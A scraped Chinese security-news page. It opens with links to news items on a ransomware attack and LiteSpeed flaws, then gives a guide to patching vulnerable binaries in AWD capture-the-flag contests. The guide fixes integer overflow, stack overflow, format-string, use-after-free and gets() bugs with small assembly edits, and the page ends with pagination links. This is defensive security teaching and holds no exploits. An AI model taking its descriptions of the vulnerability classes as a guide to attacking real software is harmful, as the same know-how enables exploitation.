https://securityaffairs.co/wordpress/138424/cyber-crime/sobeys-ransomware-attack.html 10、LiteSpeed存在漏洞,可导致Web服务器被完全接管 https://www.securityweek.com/litespeed-vulnerabilities-can-lead-complete-web-server-takeover
AWDPwn 漏洞加固总结
AWD简介 AWD(Attack With Defense,攻防兼备) 模式需要在一场比赛里要扮演攻击方和防守方,利用漏洞攻击其他队伍进行得分,修复漏洞可以避免被其他队伍攻击而失分。也就是说,攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时也要保护自己的主机不被别人攻陷而扣分。 Patch-PWN 各家 awd 平台检查机制各不相同,原则上是只针对漏洞点进行 patch 加固,也就是最小修改加固。以下总结不需要改动文件大小、针对漏洞点进行 patch 的几种漏洞类型。 Patch资料 跳转指令 无符号跳转 汇编指令描述JA无符号大于则跳转JNA无符号不大于则跳转JAE无符号大于等于则跳转(同JNB)JNAE无符号不大于等于则跳转(同JB)JB无符号小于则跳转JNB无符号不小于则跳转JBE无符号小于等于则跳转(同JNA)JBNE无符号不小于等于则跳转(同JA) 有符号跳转 汇编指令描述JG有符号大于则跳转JNG有符号不大于则跳转JGE有符号大于等于则跳转(同JNL)JNGE有符号不大于等于则跳转(同JL)JL有符号小于则跳转JNL有符号不小于则跳转JLE有符号小于等于则跳转(同JNG)JNLE有符号不小于等于则跳转(同JG) Patch-整数溢出 Scanf 以 long int 长整形读取输入到 unsigned int 变量 v2 中,然后将 v2 强制转为 int 再与int 48 比较。 但从 scanf 读入一个负数时,最高位为 1 ,从 unsigned int 强制转换为 int 结果是负数,必定比 48 小,在后面 read 读入会造成栈溢出。 Patch方法 将第 9 行的 if 跳转汇编指令 patch 为无符号的跳转指令。 使用 keypatach 进行修改: jle --> jbe Patch-栈溢出 对于栈溢出加固,x64 更容易一些,因为是使用寄存器传参,而x86 使用栈传参,需要用 nop 等保持加固前后的空间不变。 x64 Patch方法 100 是第三个参数,存储寄存器是 rdx ,找到给 rdx 传参的汇编指令进行 patch 使用 ida 默认修改插件修改(Edit-Patch Program-Change word),也可以用 keypatach : 0x64 是长度 0xBA 是操作符 0x64 --> 0x20 x86 不需要对齐 找到压栈的指令,修改压入的数值 修改数值需要补上 0x 这里修改前 size 为 2 ,修改后 size 也为 2 ,所以这题 patch 不需要用 nop 保持 size 需要对齐 找到压栈的指令,修改压入的数值 直接修改 0x20 后,size 长度不对齐,会引起栈空间变化,需要用 nop 进行对齐: 更方便快捷方法是勾选 NOPs padding until next instruction boundary 进行自动填充。 Patch-格式化字符串 修改函数 将 printf 改为 puts ,将 call 的地址改为 puts plt 地址: 这个方法局限性在于:puts 会在原字符串多加 \n ,主办方 check 可能会因此而不通过 修改printf参数 将 printf(format) 修改为 printf("%s",format) 修改 printf 前面的传参指令: mov edi, offset 0x400c01;mov esi,offset format; Patch-UAF 修改逻辑是劫持 call 指令跳转到 .eh_frame 段上写入的自定义汇编程序。 先在 .eh_frame 段上写入代码,首先是 call free 完成释放,然后对 chunk_list 进行置零。取 chunk_list 地址的汇编可以从 call free 前面抄过来: call 0x900;           #调用free函数(plt地址)mov     eax, [rbp-0xc]; #取出下标值cdqe;lea     rdx, ds:0[rax*8];lea rax, qword ptr [heap];mov r8,0; #段地址不能直接赋予立即数mov [rdx+rax],r8;jmp 0xD56; #跳回原来的地址 Patch-if范围 假设需要将图上第二个 if 放到 if 结构内,修改跳转的地址即可: 原始跳转代码: js 0x40081C --> js 0x400845 Patch-更换危险函数 类似与 uaf 一样写汇编实现功能调用,将危险函数替换为其他函数,如果程序中没有目标函数,就通过系统调用方式调用。 将 gets 替换为 read 输入 .eh_frame 写入汇编,将 rdi 的写入地址移动到 rsi ,把其他寄存器也传参之后进行系统调用:
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页